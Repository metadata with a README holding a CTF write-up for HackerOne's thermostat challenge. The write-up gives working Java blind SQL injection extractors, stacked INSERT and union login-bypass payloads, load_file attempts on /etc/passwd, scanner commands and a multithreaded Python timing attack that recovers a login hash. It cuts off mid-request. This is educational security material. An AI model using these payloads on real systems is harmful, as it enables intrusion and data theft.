{"id":13935328,"url":"https://github.com/manoelt/50M_CTF_Writeup","last_synced_at":"2025-07-19T20:31:57.716Z","repository":{"id":37390807,"uuid":"177831804","full_name":"manoelt/50M_CTF_Writeup","owner":"manoelt","description":"$50 Million CTF from Hackerone - Writeup","archived":false,"fork":false,"pushed_at":"2019-04-02T05:33:28.000Z","size":1947,"stargazers_count":585,"open_issues_count":1,"forks_count":64,"subscribers_count":11,"default_branch":"master","last_synced_at":"2024-11-03T03:31:41.513Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/manoelt.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2019-03-26T16:52:25.000Z","updated_at":"2024-10-10T09:25:40.000Z","dependencies_parsed_at":"2022-07-15T21:17:20.644Z","dependency_job_id":null,"html_url":"https://github.com/manoelt/50M_CTF_Writeup","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/manoelt%2F50M_CTF_Writeup","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/manoelt%2F50M_CTF_Writeup/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/manoelt%2F50M_CTF_Writeup/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/manoelt%2F50M_CTF_Writeup/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/manoelt","download_url":"https://codeload.github.com/manoelt/50M_CTF_Writeup/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":226666698,"owners_count":17665069,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-07T23:01:36.507Z","updated_at":"2025-07-19T20:31:57.695Z","avatar_url":"https://github.com/manoelt.png","language":null,"readme":"# $50 million CTF Writeup\n\n## Summary\n\nFor a brief overview of the challenge you can take a look at the following image:\n\n![Overview](images/Thermostat%20App%20Infrastructure.png)\n\nBelow I will detail each step that I took to solve the CTF, moreover all the bad assumptions that led me to a dead end in some cases.\n\n## Twitter\n\nThe CTF begins with this tweet:\n\n![Tweet](images/tweet.PNG)\n\n### What is this binary?\n\n![Binary](images/binary.png)\n\nMy first thought was try to decode the binary on image’s background. I also noted that after the ‘_’ character the binary numbers were repeating the same sequence, which was:\n\n`01111010 01101100 01101001 01100010 00101011 01111000 10011100 01001011 11001010 00101100 11010001 01001011 11001001 11010111 11001111 00110000 00101100 11001001 01001000 00101101 11001010 00000101 00000000 00100101 11010010 00000101 00101001`\n\nSo let’s see if this lead to any ascii word or something readable:\n\n```python\n\u003e\u003e\u003e bin_array_image = ['0b01111010', '0b01101100', '0b01101001', '0b01100010', '0b00101011', '0b01111000', '0b10011100', '0b01001011', '0b11001010', '0b00101100', '0b11010001', '0b01001011', '0b11001001', '0b11010111', '0b11001111', '0b00110000', '0b00101100', '0b11001001', '0b01001000', '0b00101101', '0b11001010', '0b00000101', '0b00000000', '0b00100101', '0b11010010', '0b00000101', '0b00101001']\n\u003e\u003e\u003e s = ''.join(chr(int(x,2)) for x in bin_array_image)\n\u003e\u003e\u003e print(s)\nzlib+xKÊ,ÑKÉ×Ï0,ÉH-Ê\u0005 %Ò\u0005)\n```\n\nNice, the first five chars are: `zlib+`. So, maybe we should use zlib to decompress the remaining bytes.\n\n```python\n\u003e\u003e\u003e import zlib\n\u003e\u003e\u003e byte_string = bytes([int(x,2) for x in bin_array_image][5:])\n\u003e\u003e\u003e print(zlib.decompress(byte_string))\nb'bit.do/h1therm'\n```\n\nOk. Now we have an URL that redirects to an APK file in Google Drive. Let's download it.\n\n## APK\n\nAs my first step, I used JADX [3] to decompile the app and start to inspect the code:\n\n![JADX](images/jadx.png)\n\nReading AndroidManifest.xml I could identify two activity classes: `com.hackerone.thermostat.LoginActivity` and `com.hackerone.thermostat.ThermostatActivity`.\n\n### LoginActivity.class\n\nThe core functionality of LoginActivity is to authenticate the user:\n\n```java\nprivate void attemptLogin() throws Exception {\n    ...\n    JSONObject jSONObject = new JSONObject();\n    jSONObject.put(\"username\", username);\n    jSONObject.put(\"password\", password);\n    jSONObject.put(\"cmd\", \"getTemp\");\n    Volley.newRequestQueue(this).add(new PayloadRequest(jSONObject, new Listener\u003cString\u003e() {\n        public void onResponse(String str) {\n            if (str == null) {\n                LoginActivity.this.loginSuccess();\n                return;\n            }\n            LoginActivity.this.showProgress(false);\n            LoginActivity.this.mPasswordView.setError(str);\n            LoginActivity.this.mPasswordView.requestFocus();\n        }\n    }));\n```\n\nIn `attemptLogin` the App builds a json object like this: `{\"username\": \"\", \"password\": \"\", \"cmd\": \"getTemp\"}` and then instantiates a  `PayloadRequest` object which will be added to a Volley Queue to be processed. So let's see what does this class do.\n\n### PayloadRequest.class\n\n```java\npublic class PayloadRequest extends Request\u003cString\u003e {\n     public PayloadRequest(JSONObject jSONObject, final Listener\u003cString\u003e listener) throws Exception {\n        super(1, \"http://35.243.186.41/\", new ErrorListener() {\n            public void onErrorResponse(VolleyError volleyError) {\n                listener.onResponse(\"Connection failed\");\n            }\n        });\n        this.mListener = listener;\n        this.mParams.put(\"d\", buildPayload(jSONObject));\n    }\n    ...\n```\n\nFrom here we could note an URL `http://35.243.186.41/` which probably is being used as the backend server. Also, there is a method called `buildPayload` which will be the value for `d` parameter.\n\n```java\nprivate String buildPayload(JSONObject jSONObject) throws Exception {\n        SecretKeySpec secretKeySpec = new SecretKeySpec(new byte[]{(byte) 56, (byte) 79, (byte) 46, (byte) 106, (byte) 26, (byte) 5, (byte) -27, (byte) 34, (byte) 59, Byte.MIN_VALUE, (byte) -23, (byte) 96, (byte) -96, (byte) -90, (byte) 80, (byte) 116}, \"AES\");\n        byte[] bArr = new byte[16];\n        new SecureRandom().nextBytes(bArr);\n        IvParameterSpec ivParameterSpec = new IvParameterSpec(bArr);\n        Cipher instance = Cipher.getInstance(\"AES/CBC/PKCS5Padding\");\n        instance.init(1, secretKeySpec, ivParameterSpec);\n        byte[] doFinal = instance.doFinal(jSONObject.toString().getBytes());\n        byte[] bArr2 = new byte[(doFinal.length + 16)];\n        System.arraycopy(bArr, 0, bArr2, 0, 16);\n        System.arraycopy(doFinal, 0, bArr2, 16, doFinal.length);\n        return Base64.encodeToString(bArr2, 0);\n    }\n```\n\nThe `buildPayload` method uses a symmetric-key algorithm [4] (AES) in CBC mode that uses the same cryptographic key for both encryption of plaintext and decryption of ciphertext. Moreover, the `secretKeySpec` is the key and PKCS#5 is the padding method. Thus our json is always sent encrypted to the backend server. Futhermore, there is a method to decript the response, called `parseNetworkResponse`, which uses the same algorithm and secret key.\n\n### ThermostatActivity.class\n\nThe other ActivityClass is the `ThermostatActivity` which calls `setTargetTemperature` two times and updates the `thermostatModel` attribute. Also using the same json object from `LoginActivity` sends a `getTemp` command, but as you can see, does nothing with the result (`String str`)\n\n```java\n    private void setDefaults(final ThermostatModel thermostatModel) throws Exception {\n        thermostatModel.setTargetTemperature(Integer.valueOf(77));\n        thermostatModel.setCurrentTemperature(Integer.valueOf(76));\n        JSONObject jSONObject = new JSONObject();\n        jSONObject.put(\"username\", LoginActivity.username);\n        jSONObject.put(\"password\", LoginActivity.password);\n        jSONObject.put(\"cmd\", \"getTemp\");\n        volleyQueue.add(new PayloadRequest(jSONObject, new Listener\u003cString\u003e() {\n            public void onResponse(String str) {\n                thermostatModel.setTargetTemperature(Integer.valueOf(70));\n                thermostatModel.setCurrentTemperature(Integer.valueOf(73));\n            }\n        }));\n    }\n```\n\n### com.hackerone.thermostat.Model.ThermostatModel\n\nAnalyzing the other classes we find a `ThermostatModel` with a `setTargetTemperatute` method which gives us another command: `setTemp`. What is interesting about this new command is that now we have a new json attributes `temp` which is the `setTemp` parameter. \n\n```java\n    public void setTargetTemperature(Integer num) {\n        this.targetTemperature.setValue(num);\n        try {\n            JSONObject jSONObject = new JSONObject();\n            jSONObject.put(\"username\", LoginActivity.username);\n            jSONObject.put(\"password\", LoginActivity.password);\n            jSONObject.put(\"cmd\", \"setTemp\");\n            jSONObject.put(\"temp\", num);\n            ThermostatActivity.volleyQueue.add(new PayloadRequest(jSONObject, new Listener\u003cString\u003e() {\n                public void onResponse(String str) {\n                }\n            }));\n        } catch (Exception unused) {\n        }\n        updateCooling();\n    }\n```\n\n### Dir Brute\n\nWhy not? We have an IP running a web server so let's check if we are in a lucky day and get some low hanging fruits figuring out a hidden endpoint. Using FFUF [12]:\n\n```bash\n./ffuf -u http://35.243.186.41/FUZZ -w wordlists/SecLists/Discovery/Web-Content/big.txt\n./ffuf -u http://35.243.186.41/FUZZ -w wordlists/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt\n```\n\nNot that easy ...\n\n### Creating a Java Application\n\nAfter this initial recon, it's time to try some attacks interacting with the backend server. For this, I just created a java application using the same source code from the App with minor changes.\n\n```java\n\tpublic static String sendCommand(String username, String password, String cmd) throws Exception {\n\t\treturn PayloadRequest.sendCommand(username, password, cmd, null);\n\t}\n\t\n\tpublic static String sendCommand(String username, String password, String cmd, String tmp) throws Exception {\t\n\t    JSONObject jSONObject = new JSONObject();\n            jSONObject.put(\"username\", username);\n            jSONObject.put(\"password\", password);\n            jSONObject.put(\"cmd\", cmd);\n            if( tmp != null) {\n\t        jSONObject.put(\"temp\", tmp);\n            }\n            return send(jSONObject);\n\t}\n\t\n\tpublic static String send(Object jSONObject) throws Exception {\n\t    String payload = PayloadRequest.buildPayload(jSONObject);\n            URL url = new URL(\"http://35.243.186.41\");\n            HttpURLConnection con = (HttpURLConnection) url.openConnection();\n            con.setRequestMethod(\"POST\");\n        \n            Map\u003cString, String\u003e parameters = new HashMap\u003c\u003e();\n            parameters.put(\"d\", payload);\n            ...\n            return PayloadRequest.parseNetworkResponse(content.toString());\n\t}\n```\n\nSo we are now able to send commands to the backend using the above `sendCommand` method. My first bet here was to try some SQL Injection. But we have some limitations as the server only returns \"Invalid username or password\" or \"Unknown\". First message is received when there is no error but the username and password does not match and the last when something went wrong. With this restriction, we could try two approaches: Time-Based Blind SQL Injection or Error-Based Blind SQL Injection. Let's try time based with the simplest payload:\n\n```java\nSystem.out.println(PayloadRequest.sendCommand(\"'||sleep(10)#\", \"\", \"\"));\n// After 10 seconds ...\n// {\"success\": false, \"error\": \"Invalid username or password\"}\n```\n\n### Time Based SQL Injection\n\nWhat? Did we get it? 10 seconds to get a reponse from the payload above! This is definitely my lucky day ... What I could do now? Maybe a tamper for SQLMap [9]? No, no! This is not so 31337! Let's create our own exploit for blind SQL injection... in Java! First of all, we need to somehow compare two chars and based on response time determine a boolean value: True or False. We can achieve this as follows:\n\n```java\n    public static boolean blindBoolean(String payload) throws Exception {\n        long startTime = System.nanoTime();\n\t\n\tPayloadRequest.sendCommand(payload, \"\", \"\");\n\t\t\n\tlong endTime = System.nanoTime();\n\tlong timeElapsed = endTime - startTime;\t\t\n\treturn (timeElapsed / 1000000) \u003e PayloadRequest.TIME_TO_WAIT * 1000;\t\n    }\n```\n\nTo measure response time we get the time before and after call `sendCommand` then we subtract and compare `TIME_TO_WAIT` with the elapsed time. If elapsed time is greater than `TIME_TO_WAIT` we have a True boolean value otherwise a False value.\n\nNow we need an abstract query for general purpose that allows us to extract data from the database:\n\n`'||(IF((SELECT ascii(substr(column,{1},1)) from table limit {2},1){3}{4},SLEEP({5}),1))#`.\n\nwith:\n```\n{1} -\u003e %d -\u003e string char position\n{2} -\u003e row offset. Limited to 1 result per query\n{3} -\u003e %c -\u003e comparison operator ( =, \u003e, \u003c)\n{4} -\u003e %d -\u003e ascii code value\n{5} -\u003e %d -\u003e time to sleep\n```\n\nAlso to improve the performance we could use a binary search algorithm [5] for our time based boolean check:\n\n```java\n\tpublic static String blindString(String injection, int len) throws Exception {\t\n\t    StringBuilder value = new StringBuilder(\"\");\n\t    for(int c = 1; c \u003c= len; c++) {\n\t        int low = 10;\n\t\tint high = 126;\n\t\tint ort = 0;\n\t\twhile(low\u003chigh) {\n\t\t    if( low-high == 1 ) {\n\t\t        ort = low + 1;\n\t\t    } else if ( low-high == -1 ) {\n\t\t        ort = low;\n\t\t    } else {\n\t\t        ort = (low+high)/2;\n\t\t    }\n\t\t\t\t\n\t\t    String payload = String.format(injection, c, '=', ort, PayloadRequest.TIME_TO_WAIT );\n\t\t    if( PayloadRequest.blindBoolean(payload) ) {\n\t\t        value.append( Character.toString( (char) ort));\n\t\t        break;\n\t            }\n\t\t    payload = String.format(injection, c, '\u003e', ort, PayloadRequest.TIME_TO_WAIT );\n\t\t    if( PayloadRequest.blindBoolean(payload) ) {\n\t\t        low = ort;\n\t            } else {\n\t\t        high = ort;\n\t\t    }\n\t        }\n\t    }\n\t    return value.toString();\n\t}\n```\n\nEverything seems fine enough to start leaking some data:\n\n### Database recon\n\n#### version()\n```java\n\tpublic static String blindVersion() throws Exception {\n\t\tString injection = \"'||(IF((SELECT ascii(substr(version(),%d,1)))%c%d,SLEEP(%d),1))#\";\n\t\treturn PayloadRequest.blindString(injection, 25);\n\t}\n\t// 10.1.37-MariaDB\n```\n\n#### database()\n```java\n\tpublic static String blindDatabase() throws Exception {\n\t\tString injection = \"'||(IF((SELECT ascii(substr(database(),%d,1)))%c%d,SLEEP(%d),1))#\";\n\t\treturn PayloadRequest.blindString(injection, 25);\n\t}\n\t// flitebackend\n```\n\n#### hostname + datadir\n```java\n    System.out.println(blindString(\"'||(IF((SELECT ascii(substr(@@hostname,%d,1)))%c%d,SLEEP(%d),1))#\", 20)); \n    // hostname: de8c6c400a9f\n    System.out.println(blindString(\"'||(IF((SELECT ascii(substr(@@datadir,%d,1)))%c%d,SLEEP(%d),1))#\", 30));\n    // datadir: /var/lib/mysql/\n```\n\n#### Tables\n```java\n\tpublic static String blindTableName(int offset) throws Exception {\n\t\tString injection = \"'||(IF((SELECT ascii(substr(table_name,%d,1)) from information_schema.tables where table_schema=database() limit \"+offset+\",1)%c%d,SLEEP(%d),1))#\";\n\t\treturn PayloadRequest.blindString(injection, 100);\n\t}\n\t...\n\tPayloadRequest.blindTableName(0); // devices\n\tPayloadRequest.blindTableName(1); // users\n\tPayloadRequest.blindTableName(2); // None\n```\n\nTwo tables found: `devices` and `users` in `flitebackend` database.\n\n#### Read files?\nMaybe we could read some files?\n\n```java\n    System.out.println(blindString(\"'||(IF((SELECT ascii(substr(load_file('/etc/hosts'),%d,1)))%c%d,SLEEP(%d),1))#\", 20));\n    System.out.println(blindString(\"'||(IF((SELECT ascii(substr(load_file('/etc/passwd'),%d,1)))%c%d,SLEEP(%d),1))#\", 20));\n```\nI don't think so...\n\n#### Login\nMaybe you are wondering why I didn't log in yet. But I started doing the time-based SQLi before even trying to log in. So let's see if we are able to log in using the SQLi:\n\n```java\n    System.out.println(PayloadRequest.sendCommand(\"' or 1=1#\", \"123123\", \"getTemp\")); \n    // {\"success\": false, \"error\": \"Invalid username or password\"}\n```\n\nHumm, we need to think how the backend is doing the login process:\n1. SELECT username, password FROM users WHERE username='+ username_param +' and password = '+ password_param +' ?\n2. SELECT password FROM table WHERE username='+ username_param +'; then check password?\n\nFor 1 we already know that is not the case because using `' or 1=1#` would give us a successful message.\nFor 2 we need another test, first of all, let's check how many columns the query has.\n\n```java\n    System.out.println(PayloadRequest.sendCommand(\"' order by 1#\", \"\", \"getTemp\")); \n    // {\"success\": false, \"error\": \"Invalid username or password\"}.\n    \n    System.out.println(PayloadRequest.sendCommand(\"' order by 2#\", \"\", \"getTemp\")); \n    // {\"success\": false, \"error\": \"Unknown\"}\n```\n\nOk, based on error message we can affirm that there is only one column on the query. Thus we could try to use `UNION` to fake a successful query:\n\n```java\n    System.out.println(PayloadRequest.sendCommand(\"' union all select ''#\", \"\", \"getTemp\")); \n    // {\"success\": false, \"error\": \"Invalid username or password\"}\n```\n\nNot yet. There is something more... Step back and let's dump users table.\n\n#### users table\n\nFirst, we need to know the table structure. To facilitate the process I created a method called `blindColumnName` with two parameters: `table` and `offset`. This method will dump all columns names from `String table` parameter. \n\n```java\n\tpublic static String blindColumnName(String table, int offset) throws Exception {\n\t\tString injection = \"'||(IF((SELECT ascii(substr(column_name,%d,1)) from information_schema.columns where table_name='\"+table+\"' and table_schema = database() limit \"+offset+\",1)%c%d,SLEEP(%d),1))#\";\n\t\treturn PayloadRequest.blindString(injection, 100);\n\t}\n\t\n\t...\n\tPayloadRequest.blindColumnName(\"users\",0); // id\n\tPayloadRequest.blindColumnName(\"users\",1); // username\n\tPayloadRequest.blindColumnName(\"users\",2); // password\n\tPayloadRequest.blindColumnName(\"users\",3); // None\n\t\n```\n\nusers(id, username, password)\n\n\n#### devices table\n\nThe same process above could be applied to `devices` table.\n\n```java\n    PayloadRequest.blindColumnName(\"devices\",0); // id\n    PayloadRequest.blindColumnName(\"devices\",1); // ip\n    PayloadRequest.blindColumnName(\"devices\",2); // None\n```\ndevices(id, ip)\n\n#### Dumping\n\nKnowing the table structure we could dump the values:\n\n```java\n\tpublic static String blindUsername(int offset) throws Exception {\n\t    String injection = \"'||(IF((SELECT ascii(substr(username,%d,1)) from users limit \"+offset+\",1)%c%d,SLEEP(%d),1))#\";\n\t    return PayloadRequest.blindString(injection, 5);\n\t}\n\t\n\tPayloadRequest.blindUsername(0); // admin\n\tPayloadRequest.blindUsername(1); // None\n\t\n\tpublic static String blindColumnUsersValues(String column, int length) throws Exception {\n\t    String injection = \"'||(IF((SELECT ascii(substr(\"+column+\",%d,1)) from users where username = 'admin')%c%d,SLEEP(%d),1))#\";\n\t    return PayloadRequest.blindString(injection, length);\n\t}\n\t\n\tpublic static String blindPassword() throws Exception {\n\t    return PayloadRequest.blindColumnUsersValues(\"password\", 32);\n\t}\n\t\n\tPayloadRequest.blindPassword(); // 5f4dcc3b5aa765d61d8327deb882cf99\n```\n\nThere is only one user (\"admin\", \"5f4dcc3b5aa765d61d8327deb882cf99\"). Is that a hash? _Googled_ it and found the answer, yes it is: md5('password'). Now we are able to log in using admin:password or even using the sqli:\n\n```java\n    System.out.println(PayloadRequest.sendCommand(\"admin\", \"password\", \"getTemp\"));\n    // {\"temperature\": 73, \"success\": true}\n    System.out.println(PayloadRequest.sendCommand(\"' union all select '47bce5c74f589f4867dbd57e9ca9f808'#\", \"aaa\", \"getTemp\"));\n    // {\"temperature\": 73, \"success\": true}\n```\n\nTime to dump table `devices`. \n\n```java\n\tpublic static String blindIpDevices(int offset) throws Exception {\n\t    String injection = \"'||(IF((SELECT ascii(substr(ip,%d,1)) from devices limit \"+offset+\",1)%c%d,SLEEP(%d),1))#\";\n\t    return PayloadRequest.blindString(injection, 16); // Fixed length\n\t}\n\t...\n\tPayloadRequest.blindIpDevices(0);\n\t// Device: 0\t192.88.99.253\n\tPayloadRequest.blindIpDevices(1);\n\t// Device: 1\t192.88.99.252\n\tPayloadRequest.blindIpDevices(2);\n\t// Device: 2\t10.90.120.23\n```\n\nAfter obtain several ips I noted that most belonged to a private IP address block. My first idea was to build a query removing all private IP addresses and also classes D and E (see `where` clause):\n\n```java\n\tpublic static String blindDeviceQuery() throws Exception {\n\t\tString injection = \"'||(IF((SELECT ascii(substr(ip,%d,1)) from devices where substr(ip,1,2) not in ('24', '25') and substr(ip,1,3) not in ('192', '10.', '198') limit 0,1)%c%d,SLEEP(%d),1))#\";\t\n\t\treturn PayloadRequest.blindString(injection, 16);\n\t}\n\t\n\tPayloadRequest.blindDeviceQuery();\n\t// 104.196.12.98\n```\n\nNice! A real IP address.\n\n## Server 104.196.12.98\n\nFirst recon step here is to run a port scan to discover if there is any service. As a result I got port 80 (http).\n\n```\nStarting masscan 1.0.6 (http://bit.ly/14GZzcT ) at 2019-03-02 22:32:46 GMT\n -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth\nInitiating SYN Stealth Scan\nScanning 1 hosts [65536 ports/host]\nDiscovered open port 22/tcp on 104.196.12.98\nDiscovered open port 80/tcp on 104.196.12.98\n```\n\n![Thermostat App](images/Login.png)\n\nNow we are facing a new web application with a form consisting of `username` and `password` inputs. Also reading the source code (html) we can see that there is a `login.js`.  Let's use Burp proxy and do a request submitting the login form. What values could username and password be? From our previous SQL injection, we got admin:password. So it is a good bet:\n\n```\nPOST / HTTP/1.1\nHost: 104.196.12.98\nContent-Length: 68\n\nhash=3af937e7424ef6124f8b321d73a96e737732c2f5727d25c622f6047c1a4392a\n```\n\nAs we can note the post is not sending username and password but a hash. Time to see what `login.js` is doing. Reading the javascript code we can spot a `hash` and a `fhash` functions, leading us to understand that it is a hash algorithm. There is also some padding and XOR bit operations. Almost sure that it is really a hash function and so the backend will be unable to get the original input values (username and password).  In this scenario we can infer that the backend will also compute the hash with the same function, as `login.js`, using the stored username + password. Then it will compare the two hashes. Therefore all we need to be authenticated is a hash.\n\nIs it possible to be another SQL injection? Maybe another type of SQL Injection? At first, all my common payloads didn't work. So in this scenario I decided to run a SQLMap [9], remembering that we are not attacking username and password input fields, but the hash. \n\n```bash\n$ python sqlmap.py -v 3 -u http://104.196.12.98/ --data \"hash=*\" --level=5 --risk=3 --random-agent\n```\n\nResult: Nothing... Maybe we could find another endpoint? Time to use dirseach [7] with some wordlists from SecList [8]:\n\n```\n# ./tools/dirsearch/dirsearch.py -b -t 10 -e php,asp,aspx,jsp,html,zip,jar,sql -x 500,503 -r -w wordlists/raft-large-words.txt -u http://104.196.12.98\n\n _|. _ _  _  _  _ _|_    v0.3.8\n(_||| _) (/_(_|| (_| )\n\nExtensions: php, asp, aspx, jsp, html, zip, jar, sql | Threads: 10 | Wordlist size: 119600\n\nTarget: http://104.196.12.98\n\n[15:00:31] Starting:\n[15:00:35] 302 -  209B  - /update  -\u003e  http://104.196.12.98/\n[15:00:38] 302 -  209B  - /main  -\u003e  http://104.196.12.98/\n[15:00:40] 302 -  209B  - /control  -\u003e  http://104.196.12.98/\n[15:01:10] 302 -  209B  - /diagnostics  -\u003e  http://104.196.12.98/\n```\n\nInteresting, some new endpoints to try. But unfortunately, all of them gave 302 (Found) and redirect (Location) to root (/). Therefore we need to somehow be authenticated.\n\nLet's focus on the hash again ...\n\n### Hash\n\nIt's a good decision to revisit the major hash attacks:\n\n#### Hash Extension? or Hash Colision?\n\nCould it be a hash extension vulnerability? In short hash extension occurs _when a Merkle–Damgård based hash is misused as a message authentication code with construction H(secret ‖ message), and message and the length of secret is known, a length extension attack allows anyone to include extra information at the end of the message and produce a valid hash without knowing the secret_. [10][11] In our scenario this is not applicable as there isn't a signature or message authentication code to be validated.\n\nOr could it be a hash colision? First of all, to be a hash colision we would need a valid hash and this is not the case here.\n\n### What to do now?\n\nAt this moment I was in a hard situation. No ideas... I was sure that something important was left behind. Consequently, I decided to go back and search for more flaws or any kind of relevant information.\n\n#### Maybe a SSRF?\n\nWhat if I could insert another IP into the devices table and use `setTemp` command to change thermostat temperature? Maybe when someone change the temperature all devices will receive a HTTP request with some authorization token and so I could use this to log in. Seems viable. First step is to try `INSERT`:\n\n```java\nSystem.out.println(PayloadRequest.sendCommand(\"';INSERT INTO devices(ip) values('X.X.X.X'); commit#\", \"\", \"getTemp\"));\n```\nOk, it worked. I have my IP address as a device. Now let's run tcpdump [6] on my server (X.X.X.X) to capture all network traffic. Lastly, we need to send some resquests with `getTemp` and `setTemp` commands.\n\n`# tcpdump -i eth0 -nnvvXS`\n\nBut \"nothing\" happens... only a connection (port 80) from someone in San Francisco during h1-415. :) Definitively I should remove my IP address. Dead end here.\n\n#### Create another user?\n\nWe are able to insert any device, maybe we can insert another user and use this as login and password for Thermostat Login.\n\n```java\nSystem.out.println(PayloadRequest.sendCommand(\"';INSERT INTO users(username, password) values('manoelt','e08e9df699ce8d223b8c9375471d6f0f'); commit#\", \"\", \"getTemp\"));\n```\n\nNo. We are not able to log in! :(\n\n#### Another command?\n\nAnd if there is another parameter? Let's brute force it!\n\nAfter some time just popped up a `diag` command with the following response `{\"success\": false, \"error\": \"Missing diagnostic parameters\"}`. Nice, time to brute force parameters name now... After some days trying to guess the parameter for diag command using all sort of wordlists, even using cewl [13] to build specific wordlist from real Thermostats manuals, at the end nothing was found! \n\n### Timing Attack\n\nMaybe I should rewrite the JS code from `login.js` to python and do a code review? Ok... So while doing code review I noted something odd on JS code:\n\n```javascript\nfunction hash(x) {\n\tx += '\\x01\\x00';\n\twhile((x.length \u0026 0xFF) != 0)\n\t\tx += String.fromCharCode((x.length \u0026 0xFF) ^ x.charCodeAt[x.length \u0026 0xFF]);\n\t...\n}\n```\nCan you see it? This is a padding algorithm and the XOR operation is not working as expected, because of this:\n\n`x.charCodeAt[x.length \u0026 0xFF]`\n\nThis is a typo and this wrong piece of code probably makes the hash function unfeasible for a correct validation on the backend server, because we won't ever get the same hash value... This is a good assumption to take!\n\nWhile revisting the attacks against hash functions I saw an interisting topic about Timing Attack: _\"Comparing the hashes in \"length-constant\" time ensures that an attacker cannot extract the hash of a password in an on-line system using a timing attack, then crack it off-line_.\n\n_The standard way to check if two sequences of bytes (strings) are the same is to compare the first byte, then the second, then the third, and so on. As soon as you find a byte that isn't the same for both strings, you know they are different and can return a negative response immediately. If you make it through both strings without finding any bytes that differ, you know the strings are the same and can return a positive result. *This means that comparing two strings can take a different amount of time depending on how much of the strings match.* \"_ [1]\n\nTime to create a PoC for a timing attack. The idea is to send each hash within the range from 0x00 to 0xFF for the first two chars, filled with `ff` until 64 chars in total (padding()). These first two chars represent a byte (hex digest) in the hash. After sending the request we save the time elapsed in a dictionary.\n\n```python\ndef padding(h):\n    r = h + ('f' * (64 - len(h)))\n    return r\n   \ndef send(payload):\n    URL = 'http://104.196.12.98/'\n    r = requests.post(URL, data={'hash':payload})\n    return r.elapsed.total_seconds()\n    \nif __name__ == '__main__':\n    times = {}\n    for x in range(0,0xff):\n        times[format(x, 'x').zfill(2)] = send(padding(format(x, 'x').zfill(2)))\n    print(times)\n```\n\nI got:\n\n```\n{ ...\n    \"ef\": 0.6429750000000001,\n    \"f0\": 0.6428805,\n    \"f1\": 0.6429075,\n    \"f2\": 0.6429579999999999,\n    \"f3\": 0.6426725,\n    \"f4\": 0.6429405000000001,\n    \"f5\": 0.6432635,\n    \"f6\": 0.6427134999999999,\n    \"f7\": 0.6425565,\n    \"f8\": 0.6429004999999999,\n    \"f9\": 1.1436354999999998,\n    \"fa\": 0.6428285,\n    \"fb\": 0.642867,\n    \"fc\": 0.6430150000000001,\n    \"fd\": 0.642695,\n    \"fe\": 0.643376,\n}\n```\nNote that 'f9' took 1.14 seconds, which is 0.5s more than the others. Now I should test the next two chars prefixing `f9` in the hash and so on until I got the complete hash.\n\n#### Multithreading\n\nDoing this timing attack in a single thread would take hours. So we need to do it using multithreading [file]. I found out that the most reliable results from my VPS network were using a maximum of 16 threads. The general idea was to build a queue with hex range 0x00 to 0xff and make each thread do a request checking the elapsed time. Being greater than 0.5s from the previous `base_value` time means that we found another \"byte\".\n\nLet's just see the main function that each thread will perform:\n\n```python\ndef process_data(threadName, q): # Thread main function\n    global found\n    while not exitFlag:   # A flag to stop all threads\n        queueLock.acquire()  # Acquire Queue\n        if not workQueue.empty(): \n            payload = q.get()\n            queueLock.release() # Release Queue\n            time_elapsed = send(payload) # Send the hash and get time_elapsed\n            if len(payload) == 64 and time_elapsed == 999: # Last two chars case\n                found = payload\n                return\n\t\t\t\t\n            while time_elapsed - base_time_value \u003e 0.8: # Possibly a network issue\n                time_elapsed = send(payload) # Try again\n\t\t\t\t\n            if (time_elapsed - base_time_value) \u003e 0.4: # Maybe we have found\n                time.sleep((len(found)/2)*0.6+1)   # Waiting to confirm\n\t\t\t\t\n                again = send(payload)   # Confirming\n\t\t\t\t\n                if (again - base_time_value) \u003e 0.45:\n                    found = payload[:len(found)+2] # Found!\n                    print('Found: ' + payload)\n        else:\n            queueLock.release()\n            time.sleep(2)\n     \n```\n\nIf you have extra time you could watch all the full execution here: https://youtu.be/y50QDcvS9OM ; and a quick version here: https://youtu.be/K1-EQrj0AwA\n\nFinally we can login using `f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcbde753f5db13d8` as hash.\n\n### Thermostat web app\n\nNow that we are authenticated we can browse the application. All the endpoints are working, except /diagnostics which gives Unauthorized. Further, under /control there is a form to change the temperature by doing a POST to /setTemp. I took some time testing this endpoint, sending all kinds of payloads, but it seemed to only accept numbers. (Note: python accepts underscore in numeric literals [14]). \n\n#### /update\n\nWhen we access /update we get:\n\n```\nConnecting to http://update.flitethermostat:5000/ and downloading update manifest\n...\n...\n...\nCould not connect\n```\n\nImmediately this caught my eye. What if there are some hidden parameters? To do this we have a lot of options: Param Miner (Burp), Turbo Intruder (Burp), Parameth, WFuzz, FFUF and so on. As at this time I was looking for performance, I chose Turbo Intruder: _Turbo Intruder is a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results. It's intended to complement Burp Intruder by handling attacks that require exceptional speed, duration, or complexity._ [15] Attacks are configured using Python.\n\nRequest:\n```\nGET /update?%s HTTP/1.1\nHost: 104.196.12.98\nCookie: 